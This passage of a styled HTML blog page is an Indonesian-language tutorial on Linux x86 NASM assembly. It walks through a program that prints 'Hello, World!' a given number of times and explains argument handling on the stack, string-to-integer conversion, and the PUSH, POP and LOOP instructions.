style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;db&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #7f007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;"Hello, World!"&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;0xa&lt;/span&gt;&lt;br /&gt;len equ $ &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;-&lt;/span&gt; msg&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Simpan source code di atas dengan nama helloxtimes.asm, lalu compile dan link seperti di bawah ini.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;$ nasm -f elf helloxtimes.asm&lt;br /&gt;$ ld -s -o helloxtimes helloxtimes.o&lt;br /&gt;$ ./helloxtimes 1&lt;br /&gt;Hello, World!&lt;br /&gt;$ ./helloxtimes 2&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;br /&gt;$ ./helloxtimes 3&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;br /&gt;$ ./helloxtimes 4&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;br /&gt;Hello, World!&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Kita belajar beberapa instruksi baru dalam contoh ke-2 ini, yaitu looping, penggunaan argumen dan prosedur, sedangkan system call yang dipakai tetap sama, yaitu write() dan exit().&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Program kali ini menerima argumen berupa integer 1-9 yang dipakai sebagai counter berapa kali pesan akan muncul di monitor. Argumen ini diambil dari stack dengan instruksi POP. Pada puncak stack ada argc, yaitu jumlah argumen ketika program dijalankan. Di bawahnya berisi address dari argv[0] yaitu nama program. Kemudian di bawahnya lagi baru berisi address dari argv[1] yaitu parameter/argumen pertama. Perhatikan pada baris ke-6 s/d baris ke-8 ada instruksi POP EAX sebanyak tiga kali. Ini dilakukan karena yang diperlukan ada pada posisi ke-3 sehingga kita harus membuang 2 elemen di puncak sebelum bisa mengambil address argv[1]. Address argumen ke-1 diambil dari POP lalu disimpan dalam register EAX. Karena bentuknya masih string, maka harus diubah dulu menjadi integer dengan memanggil prosedur stringtoint pada baris ke-9.&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_1625" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(221, 221, 221); border-bottom-left-radius: 5px 5px; border-bottom-right-radius: 5px 5px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(221, 221, 221); border-top-left-radius: 5px 5px; border-top-right-radius: 5px 5px; border-top-style: solid; border-top-width: 1px; display: block; font-size: 13px; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 10px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: center; vertical-align: baseline; width: 310px;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pophello.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="Instruksi POP untuk Mengambil Argumen" class="size-medium wp-image-1625" height="92" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pophello-300x92.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-style: initial; border-top-style: none; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 5px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="pophello" width="300" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 11px; line-height: 16px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 3px; padding-right: 3px; padding-top: 6px; text-align: center; vertical-align: baseline;"&gt;Instruksi POP untuk Mengambil Argumen&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Ketika program dijalankan dengan satu argumen seperti “./helloxtimes 7″. Maka jumlah argumen (argc) akan berisi 2, yaitu nama program itu sendiri, dan satu argumennya. ARGC akan disimpan pada puncak stack, dan elemen di bawahnya berisi alamat memori dari nama program, dan dibawahnya lagi berisi alamat memori dari argumen pertama. Perhatikan gambar di atas yang menunjukkan proses pengambilan alamat memori berisi string argumen pertama dari stack. Dalam contoh tersebut argumen adalah string “7″, yaitu karakter berkode ASCII 37 hexa diikuti dengan ASCII 0 (karakter NULL). Alamat memori berisi string argumen pertama itu diambil dari stack dan disimpan di register EAX.&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Pada prosedur stringtoint, register EAX berisi address string yang akan diubah menjadi integer. Kita hanya mengambil karakter pertama saja, pada baris ke-35 dengan instruksi MOV, isi memori pada address yang ditunjuk oleh EAX dicopy ke register BL.&lt;/div&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 1em; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 1em; padding-right: 1em; padding-top: 1em; quotes: none; vertical-align: baseline;"&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;“MOV EBX, [EAX]” berbeda dengan “MOV EBX,EAX”. MOV EBX,[EAX] berarti menyalin isi memori pada alamat yang disimpan di EAX ke dalam register EBX. Sedangkan MOV EBX,EAX berarti menyalin isi register EAX ke register EBX&lt;/div&gt;&lt;/blockquote&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Saya menggunakan register BL karena kode ASCII lebarnya hanya 8 bit. Bila benar berisi angka, maka register BL akan berisi nilai 30h-39h (kode ascii untuk “0″-”9″). Setelah itu register BL dikurangi dengan 30h untuk mendapatkan nilai dari 0-9. Setelah itu hasilnya ditambahkan ke register ECX sehingga kembali dari prosedur ini dengan nilai integer hasil konversi di register ECX.&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Setelah mendapatkan nilai argumen bertipe integer di register ECX, selanjutnya ECX ini perlu diselamatkan dulu dalam stack (baris 12) sebab ECX akan dipakai dalam prosedur _print_hello (baris 13). ECX dipakai sebagai alamat string msg ketika memanggil system call write(). Setelah kembali dari prosedur _print_hello, nilai ECX perlu dikembalikan seperti semula dengan POP ECX (baris 14) sebab akan dipakai sebagai counter dalam LOOP (baris 15). Ketika menjalankan instruksi LOOP, register ECX akan dikurangi 1, kemudian bila ECX &amp;gt; 0 maka program akan lompat ke _print. Bila ECX bernilai 0, maka loop berhenti dan menjalankan system call exit(0).&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Setelah memahami cara kerja program contoh ke-2 itu. Sekarang mari kita bahas instruksi baru yang ada di sana: CALL, RET, PUSH, POP, LOOP.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi PUSH dan POP&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Instruksi PUSH digunakan untuk menyimpan nilai ke dalam stack. Kebalikannya adalah instruksi POP untuk mengambil nilai dari stack. Stack dalam Linux membesar ke alamat memori yang lebih rendah. Puncak stack ada di alamat rendah, sedangkan dasar stack ada di alamat yang lebih tinggi.&lt;/div&gt;&lt;table border="0" style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tbody style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;NASM/Intel&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AT&amp;amp;T&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Deskripsi&lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PUSH value&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PUSHL value&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Menyimpan nilai ke dalam stack&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;POP dest&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;POPL dest&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Mengambil nilai dari stack ke dest&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;Struktur Data Stack&lt;/strong&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Stack adalah struktur data yang mirip seperti tumpukan piring. Data yang diambil dari stack adalah data yang dimasukkan terakhir, atau istilahnya adalah LIFO (last in first out). Jadi kalau kita ingin mengambil data di tengah-tengah tumpukan, caranya adalah dengan mengambil dulu data dari puncak sampai habis, sehingga data yang kita inginkan berada di puncak stack.&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_1643" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(221, 221, 221); border-bottom-left-radius: 5px 5px; border-bottom-right-radius: 5px 5px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(221, 221, 221); border-top-left-radius: 5px 5px; border-top-right-radius: 5px 5px; border-top-style: solid; border-top-width: 1px; display: block; font-size: 13px; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 10px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: center; vertical-align: baseline; width: 499px;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pushandpop1.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="PUSH dan POP dalam Stack" class="size-full wp-image-1643" height="363" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/pushandpop1.png" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-style: initial; border-top-style: none; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 5px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; 